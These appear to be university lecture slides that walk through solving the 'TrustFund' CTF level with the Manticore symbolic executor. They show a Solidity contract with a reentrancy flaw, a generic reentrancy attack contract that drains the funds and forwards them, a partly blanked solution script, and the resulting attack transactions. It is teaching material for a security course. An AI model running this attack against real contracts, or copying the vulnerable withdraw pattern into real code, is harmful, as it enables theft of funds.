Manticore (TrustFund)

Portland State
Computer Science

Please fill out course evaluations (see e-mail) and attendance

Will return at 8:15am

TrustFund level

```
contract TrustFund{
    using SafeMath for uint256;
    uint256 public allowancePerYear;
    uint256 public startDate;
    uint256 public numberOfWithdrawls;
    bool public withdrewThisYear;
    address public custodian;

    constructor(address _ctfLauncher, address _player) public payable {
        custodian = msg.sender;
        allowancePerYear = msg.value.div(10);
        startDate = now;
    }

    function checkIfYearHasPassed() internal {
        if (now>=startDate + numberOfWithdrawls * 365 days){
            withdrewThisYear = false;
        }
    }
```

```
    function withdraw() external{
        require(allowancePerYear > 0, "No Allowances Allowed");
        checkIfYearHasPassed();
        require(!withdrewThisYear, "Already Withdrew This Year");
        if (msg.sender.call.value(allowancePerYear)()){
            withdrewThisYear = true;
            numberOfWithdrawls = numberOfWithdrawls.add(1);
        }
    }

    function returnFunds() external payable{
        require(msg.value == allowancePerYear, "Incorrect Transaction Value");
        require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
        withdrewThisYear = false;
        numberOfWithdrawls=numberOfWithdrawls.sub(1);
    }
}
```

Check

Interact

Effects

(Undo `withdraw` if you made a mistake solving level)

Solution script

- Manticore's generic re-entrancy attack contract
  - Embedded as a string in script

```
contract GenericReentranceExploit {
    int reentry_reps;
    address vulnerable_contract;
    address owner;
    bytes reentry_attack_string;

    function GenericReentranceExploit(){
        owner = msg.sender;
    }
                                        // Set victim address

    function set_vulnerable_contract(address _vulnerable_contract){
        vulnerable_contract = _vulnerable_contract ;
    }
                    // Set msg.data to attack victim with (have Manticore find)
    function set_reentry_attack_string(bytes _reentry_attack_string){
        reentry_attack_string = _reentry_attack_string;
    }
             // Set number of times to perform re-entrancy (stopping condition)
    function set_reentry_reps(int256 reps){
        reentry_reps = reps;
    }
```

```
                    // Invoke re-entrancy exploit (calls withdraw() in victim)
                    //   Manticore solves for exact call to invoke

    function proxycall(bytes data) payable {
        vulnerable_contract.call.value(msg.value)(data);
    }
                    // Send funds obtained from attack back to attacker.
                    //   Manticore also calculates the call

    function get_money() {
        owner.send(this.balance);
    }
                    // Fallback function that performs re-entrancy when funds
                    //   are received.  Governed by number of reentry_reps.
                    //   Manticore solves for attack string to use.

    function () payable {
         if (reentry_reps > 0){
            reentry_reps = reentry_reps - 1;
            vulnerable_contract.call(reentry_attack_string);
        }
    }
}
```

Solution script

- arg3 now specifies the address of the account that created the vulnerable contract (e.g. TrustFund launcher)
  - Kludge for EVM which likes to generate addresses of contracts
  - Also used to sanity check for nonces against si_level_address
- gas specified at maximum (can make symbolic)

```
# Parse arguments
#   arg1 = from_address = Your wallet address
#   arg2 = si_level_address = Your TrustFund CTF level address
#   arg3 = contract_creator_address
#          TrustFund launcher 0x2f5551674A7c8CB6DFb117a7F2016C849054fF80
#          Needed to generate the appropriate addresses in the Manticore EVM
#   arg4 = sol_file = TrustFund CTF level source code to symbolically execute
from_address = int(sys.argv[1], 16) if len(sys.argv)>1 else "<your address here>"
si_level_address = int(sys.argv[2], 16) if len(sys.argv)>2 else "<SI ctf level address>"
contract_creator_address = int(sys.argv[3], 16) if len(sys.argv)>3 else "<contract creat
or address>"
sol_file = sys.argv[4] if len(sys.argv)>4 else "../SI_ctf_levels/TrustFund.sol"

# Fix the amount of gas to use.  A re-entrancy attack requires
# a lot so set to something close to the gas block limit
gas = 4000000
```

- From prior slides, generic attack contract

```
# Generic reentrancy exploit contract to attack TrustFund with
exploit_source_code = '''
pragma solidity ^0.4.15;

contract GenericReentranceExploit {
    int reentry_reps;
    address vulnerable_contract;
    address owner;
    bytes reentry_attack_string;

...

}
'''
```

- Set nonce for an address. Used to set your wallet address and the launcher's in the Manticore EVM to generate appropriate transactions

```
# Manticore currently only allows for incrementing a nonce rather than setting
# it.  This helper function is a kludge to make your code look better :)
def set_nonce(world,address,nonce):
    while world.get_nonce(address)<nonce:
        world.increase_nonce(address)
```

- Configure accounts

```
# Create the TrustFund level using the TrustFund launcher and give it
#   the initial balance for the level
creator_account = m.create_account(address=contract_creator_address,
                                   balance=contract_balance)

# Create your wallet account and set its balance
attacker_account = m.create_account(address=from_address,
                                    balance=attacker_balance)

# Set the current nonce for your account. It is needed to get the right address
#   for the created generic exploit contract.  You can obtain its value either
#   via Metamask or from geth via eth.getTransactionCount(eth.accounts[0]).
set_nonce(m.get_world(),attacker_account.address,???)

# Set the nonce for the creator account when it created the level.  This is
#   needed to get the address of the TrustFund level we're attacking.
#   Find this via examining the contract creation transaction on Etherscan.
set_nonce(m.get_world(),creator_account.address,???)
```

- Create victim contract and attacking contract

```
#   We specify the address of the victim as a sanity check.  If the nonce
#   and creator address don't result in the address passed in via "address",
#   an error will be thrown.
contract_account = m.solidity_create_contract(contract_src,
    contract_name="TrustFund",
    owner=creator_account,
    address=si_level_address,
    args=(0,0),
    balance=contract_balance)
print("Calculated victim contract address: "+hex(contract_account.address))

# Create the exploit contract on the EVM using your wallet
exploit_account = m.solidity_create_contract(exploit_source_code,
    owner=attacker_account)
print("Calculated exploit contract address: "+hex(exploit_account.address))
```

- Set up attacking contract to perform exploit

```
# Set the address of the vulnerable contract
exploit_account.set_vulnerable_contract(contract_account)

# Set the number of times we re-enter the vulnerable function
#   (including first call)
exploit_account.set_reentry_reps(???)

# Specify length of symbolic buffer that stores the msg.data
#   used in attack contract to call vulnerable function
reentry_string = m.make_symbolic_buffer(???)

# Set msg.data for exploit contract to call victim contract with
exploit_account.set_reentry_attack_string(reentry_string)

# Run the exploit
exploit_account.proxycall(reentry_string)

# Retrieve funds after reentrancy transaction
exploit_account.get_money()
```

- Symbolic execution as before

```
# Symbolically execute program to find an exploit that obtains our funds back.
for state in m.running_states:
    world = state.platform
    # Check if funds can be retrieved
    if state.can_be_true(world.get_balance(attacker_account.address) == contract_ba
lance+attacker_balance):
      # If so, add constraint
      #   Then concretize symbolic buffer to provide one solution
      state.constraints.add(world.get_balance(attacker_account.address) == contract
_balance+attacker_balance)
```

- From all transactions in EVM, find the 6 sent by attacker
  - Concretize each and output them to send via geth

```
for transaction in world.transactions:
        # Concretize transaction
        data = state.solve_one(transaction.data)
        caller = state.solve_one(transaction.caller)
        address = state.solve_one(transaction.address)
        value = state.solve_one(transaction.value)
        # Only print the ones that are sent from our attacker account
        #   Ignores internal and victim transactions
        if caller==attacker_account.address:
            geth_str = "eth.sendTransaction({"
            geth_str += f'''data:"0x{data.hex()}", '''
            geth_str += f'''from:"0x{caller:040x}", '''
            # For contract creation transaction, no 'to' field is included
            if transaction.sort != 'CREATE':
                geth_str += f'''to:"0x{address:040x}", '''
            geth_str += f'''value:"0x{value:x}", '''
            geth_str += f'''gas:"0x{gas:x}"'''
            geth_str += "})"
            print(geth_str)
```

- Transactions

```
// Contract creation
eth.sendTransaction({data:"0x6080604052348015610010576000080fd5b50336002600
06101000a81548173ffffffffffffffffffffffffffffffffffffffff.....................
627a7a72305820b6fcf711c1535522b75c94396b69877aa662cf4fa634467408aa8b89aec3
62900029",
  from:"0xe9e7034aed5ce7f5b0d281cfe347b8a5c2c53504",
  value:"0x0",
  gas:"0x2dc6c0"})
```

```
// set_vulnerable_contract(address)
eth.sendTransaction({data:"0xbeac44e7
    000000000000000000000007540e42c619a792e57f25e6a13319d3302288b26",
    from:"0xe9e7034aed5ce7f5b0d281cfe347b8a5c2c53504",
    to:"0x4B426b7a7255587D3403FD6eA0ee7c66a25cb642",
    value:"0x0",
    gas:"0x2fffff"})
```

```
// set_reentry_reps(int256)
eth.sendTransaction({data:"0x0d4b1aca
    000000000000000000000000000000000000000000000000000000000000000a",
    from:"0xe9e7034aed5ce7f5b0d281cfe347b8a5c2c53504",
    to:"0x4B426b7a7255587D3403FD6eA0ee7c66a25cb642",
    value:"0x0",
    gas:"0x2fffff"})
```

```
// set_reentry_attack_string(bytes)
eth.sendTransaction({data:"0x9d15fd17
    0000000000000000000000000000000000000000000000000000000000000020
    0000000000000000000000000000000000000000000000000000000000000008
    3ccfd60b3c3c3c3c0000000000000000000000000000000000000000000000000",
    from:"0xe9e7034aed5ce7f5b0d281cfe347b8a5c2c53504",
    to:"0x4B426b7a7255587D3403FD6eA0ee7c66a25cb642",
    value:"0x0", gas:"0x2fffff"})
```

```
// proxycall(bytes)
eth.sendTransaction({data:"0xb1f14dec
    0000000000000000000000000000000000000000000000000000000000000020
    0000000000000000000000000000000000000000000000000000000000000008
    3ccfd60b3c3c3c3c0000000000000000000000000000000000000000000000000",
    from:"0xe9e7034aed5ce7f5b0d281cfe347b8a5c2c53504",
    to:"0x4B426b7a7255587D3403FD6eA0ee7c66a25cb642",
    value:"0x0", gas:"0x2fffff"})
```

```
// get_money()
eth.sendTransaction({data:"0xb8029269",
    from:"0xe9e7034aed5ce7f5b0d281cfe347b8a5c2c53504",
    to:"0x4B426b7a7255587D3403FD6eA0ee7c66a25cb642",
    value:"0x0",gas:"0x2fffff"})
```